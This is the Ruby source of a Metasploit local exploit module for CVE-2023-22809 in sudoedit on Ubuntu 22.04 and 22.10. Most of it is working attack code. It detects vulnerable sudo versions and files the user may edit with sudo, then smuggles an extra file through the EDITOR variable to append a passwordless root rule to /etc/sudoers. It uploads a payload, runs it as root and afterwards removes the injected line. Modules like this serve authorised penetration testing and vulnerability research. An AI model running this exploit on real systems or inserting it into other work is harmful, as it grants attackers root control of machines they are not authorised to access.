242 lines
10 KiB
Ruby
242 lines
10 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::Linux::Priv
|
|
include Msf::Post::Linux::System
|
|
include Msf::Post::File
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Sudoedit Extra Arguments Priv Esc',
|
|
'Description' => %q{
|
|
This exploit takes advantage of a vulnerability in sudoedit, part of the sudo package.
|
|
The sudoedit (aka sudo -e) feature mishandles extra arguments passed in the user-provided
|
|
environment variables (SUDO_EDITOR, VISUAL, and EDITOR), allowing a local attacker to
|
|
append arbitrary entries to the list of files to process. This can lead to privilege escalation.
|
|
by appending extra entries on /etc/sudoers allowing for execution of an arbitrary payload with root
|
|
privileges.
|
|
|
|
Affected versions are 1.8.0 through 1.9.12.p1. However THIS module only works against Ubuntu
|
|
22.04 and 22.10.
|
|
|
|
This module was tested against sudo 1.9.9-1ubuntu2 on Ubuntu 22.04, and
|
|
1.9.11p3-1ubuntu1 on Ubuntu 22.10.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'h00die', # msf module
|
|
'Matthieu Barjole', # original PoC, analysis
|
|
'Victor Cutillas' # original PoC, analysis
|
|
],
|
|
'Platform' => [ 'linux' ],
|
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
|
'Targets' => [[ 'Auto', {} ]],
|
|
'Privileged' => true,
|
|
'References' => [
|
|
[ 'EDB', '51217' ],
|
|
[ 'URL', 'https://github.com/M4fiaB0y/CVE-2023-22809/blob/main/exploit.sh' ],
|
|
[ 'URL', 'https://raw.githubusercontent.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc/main/exploit.sh' ],
|
|
[ 'URL', 'https://www.vicarius.io/vsociety/blog/cve-2023-22809-sudoedit-bypass-analysis' ],
|
|
[ 'URL', 'https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466' ],
|
|
[ 'URL', 'https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf' ],
|
|
[ 'URL', 'https://www.sudo.ws/security/advisories/sudoedit_any/'],
|
|
[ 'CVE', '2023-22809' ]
|
|
],
|
|
'DisclosureDate' => '2023-01-18',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]
|
|
}
|
|
)
|
|
)
|
|
register_advanced_options [
|
|
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
|
|
OptString.new('EDITABLEFILE', [ false, 'A file which can be edited with sudo -e or sudoedit' ]),
|
|
OptString.new('SHELL', [ true, 'A shell we can launch our payload from. Bash or SH should be safe', '/bin/sh' ]),
|
|
OptInt.new('TIMEOUT', [true, 'The timeout waiting for sudo commands to respond', 10]),
|
|
]
|
|
end
|
|
|
|
def timeout
|
|
datastore['TIMEOUT']
|
|
end
|
|
|
|
# Simplify pulling the writable directory variable
|
|
def base_dir
|
|
datastore['WritableDir'].to_s
|
|
end
|
|
|
|
def get_editable_file
|
|
if datastore['EDITABLEFILE'].present?
|
|
fail_with(Failure::BadConfig, 'EDITABLEFILE must be a file.') unless file?(datastore['EDITABLEFILE'])
|
|
|
|
vprint_status("Using user defined EDITABLEFILE: #{datastore['EDITABLEFILE']}")
|
|
return datastore['EDITABLEFILE']
|
|
end
|
|
|
|
# we do a rev here to reverse the order since we only want the last entry (the file name), take item 1, then rev it back so its normal. this seemed to
|
|
# be the easiest way to do a cut -f -1 (negative one). https://stackoverflow.com/questions/22727107/how-to-find-the-last-field-using-cut
|
|
editable_file = cmd_exec('sudo -l -S | grep -E "sudoedit|sudo -e" | grep -E \'\\(root\\)|\\(ALL\\)|\\(ALL : ALL\\)\' | rev | cut -d " " -f 1 | rev')
|
|
editable_file = editable_file.strip
|
|
if editable_file.nil? || editable_file.empty? || editable_file.include?('a terminal is required to read the password') || editable_file.include?('password for')
|
|
return nil
|
|
end
|
|
|
|
return nil unless file?(editable_file)
|
|
|
|
editable_file
|
|
end
|
|
|
|
def get_sudo_version_from_sudo
|
|
package = cmd_exec('sudo --version')
|
|
package = package.split(' ')[2] # Sudo version XXX
|
|
begin
|
|
Rex::Version.new(package)
|
|
rescue ArgumentError
|
|
# this happens on systems like debian 8.7.1 which doesn't have sudo
|
|
Rex::Version.new(0)
|
|
end
|
|
end
|
|
|
|
def check
|
|
sys_info = get_sysinfo
|
|
|
|
# Check the app is installed and the version
|
|
if sys_info[:distro] == 'ubuntu' || sys_info[:distro] == 'debian'
|
|
package = cmd_exec('dpkg -l sudo | grep \'^ii\'')
|
|
package = package.split(' ')[2] # ii, package name, version, arch
|
|
begin
|
|
ver_no = Rex::Version.new(package)
|
|
rescue ArgumentError
|
|
ver_no = get_sudo_version_from_sudo
|
|
end
|
|
else
|
|
ver_no = get_sudo_version_from_sudo
|
|
end
|
|
|
|
# according to CVE listing, but so much backporting...
|
|
minimal_version = '1.8.0'
|
|
maximum_version = '1.9.12p1'
|
|
exploitable = false
|
|
|
|
# backporting... so annoying.
|
|
# https://ubuntu.com/security/CVE-2023-22809
|
|
if sys_info[:distro] == 'ubuntu'
|
|
if sys_info[:version].include? '22.10' # kinetic
|
|
exploitable = true
|
|
maximum_version = '1.9.11p3-1ubuntu1.1'
|
|
elsif sys_info[:version].include? '22.04' # jammy
|
|
exploitable = true
|
|
maximum_version = '1.9.9-1ubuntu2.2'
|
|
elsif sys_info[:version].include? '20.04' # focal
|
|
maximum_version = '1.8.31-1ubuntu1.4'
|
|
elsif sys_info[:version].include? '18.04' # bionic
|
|
maximum_version = '1.8.21p2-3ubuntu1.5'
|
|
elsif sys_info[:version].include? '16.04' # xenial
|
|
maximum_version = '1.8.16-0ubuntu1.10+esm1'
|
|
elsif sys_info[:version].include? '14.04' # trusty
|
|
maximum_version = '1.8.9p5-1ubuntu1.5+esm7'
|
|
end
|
|
end
|
|
|
|
if ver_no == Rex::Version.new(0)
|
|
return Exploit::CheckCode::Unknown('Unable to detect sudo version')
|
|
end
|
|
|
|
if ver_no < Rex::Version.new(maximum_version) && ver_no >= Rex::Version.new(minimal_version)
|
|
vprint_good("sudo version #{ver_no} is vulnerable")
|
|
# check if theres an entry in /etc/sudoers that allows us to edit a file
|
|
editable_file = get_editable_file
|
|
if editable_file.nil?
|
|
if exploitable
|
|
return CheckCode::Appears("Sudo #{ver_no} is vulnerable, but unable to determine editable file. Please set EDITABLEFILE option manually")
|
|
else
|
|
return CheckCode::Appears("Sudo #{ver_no} is vulnerable, but unable to determine editable file. OS can NOT be exploited by this module")
|
|
end
|
|
elsif exploitable
|
|
return CheckCode::Vulnerable("Sudo #{ver_no} is vulnerable, can edit: #{editable_file}")
|
|
else
|
|
return CheckCode::Vulnerable("Sudo #{ver_no} is vulnerable, can edit: #{editable_file}. OS can NOT be exploited by this module")
|
|
end
|
|
end
|
|
|
|
CheckCode::Safe("sudo version #{ver_no} may NOT be vulnerable")
|
|
end
|
|
|
|
def exploit
|
|
# Check if we're already root
|
|
if !datastore['ForceExploit'] && is_root?
|
|
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
|
|
end
|
|
|
|
if get_editable_file.nil?
|
|
fail_with Failure::BadConfig, 'Unable to automatically detect sudo editable file, EDITABLEFILE option is required'
|
|
end
|
|
|
|
# Make sure we can write our exploit and payload to the local system
|
|
unless writable?(base_dir) && directory?(base_dir)
|
|
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
|
end
|
|
|
|
sys_info = get_sysinfo
|
|
|
|
# Check the app is installed and the version
|
|
fail_with(Failure::NoTarget, 'Only Ubuntu 22.04 and 22.10 are exploitable by this module') unless sys_info[:distro] == 'ubuntu'
|
|
fail_with(Failure::NoTarget, 'Only Ubuntu 22.04 and 22.10 are exploitable by this module') unless sys_info[:version].include?('22.04') || sys_info[:version].include?('22.10')
|
|
|
|
# Upload payload executable
|
|
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
|
|
upload_and_chmodx payload_path, generate_payload_exe
|
|
register_file_for_cleanup(payload_path)
|
|
|
|
@flag = Rex::Text.rand_text_alphanumeric(12)
|
|
print_status 'Adding user to sudoers'
|
|
# we tack on a flag so we can easily grep for this line and clean it up later
|
|
command = "EDITOR=\"sed -i -e '$ a `whoami` ALL=(ALL:ALL) NOPASSWD: #{datastore['SHELL']} \# #{@flag}' -- /etc/sudoers\" sudo -S -e #{get_editable_file}"
|
|
vprint_status("Executing command: #{command}")
|
|
|
|
output = cmd_exec command, nil, timeout
|
|
if output.include? '/etc/sudoers unchanged'
|
|
fail_with(Failure::NoTarget, 'Failed to edit sudoers, command was unsuccessful')
|
|
end
|
|
|
|
if output.include? 'sudo: ignoring editor'
|
|
fail_with(Failure::NotVulnerable, 'sudo is patched')
|
|
end
|
|
|
|
output.each_line { |line| vprint_status line.chomp }
|
|
print_status('Spawning payload')
|
|
|
|
# -S may not be needed here, but if exploitation didn't go well, we dont want to bork our shell
|
|
# also, attempting to thread off of sudo was problematic, solution was
|
|
# https://askubuntu.com/questions/1110865/how-can-i-run-detached-command-with-sudo-over-ssh
|
|
# other refs that didn't work: https://askubuntu.com/questions/634620/when-using-and-sudo-on-the-first-command-is-the-second-command-run-as-sudo-t
|
|
output = cmd_exec "sudo -S -b sh -c 'nohup #{payload_path} > /dev/null 2>&1 &'", nil, timeout
|
|
output.each_line { |line| vprint_status line.chomp }
|
|
end
|
|
|
|
def on_new_session(session)
|
|
if @flag
|
|
session.shell_command_token("sed -i '/\# #{@flag}/d' /etc/sudoers")
|
|
flag_found = session.shell_command_token("grep '#{@flag}' /etc/sudoers")
|
|
if flag_found.include? @flag
|
|
print_bad("Manual cleanup is required, please run: sed -i '/\# #{@flag}/d' /etc/sudoers")
|
|
end
|
|
end
|
|
super
|
|
end
|
|
end
|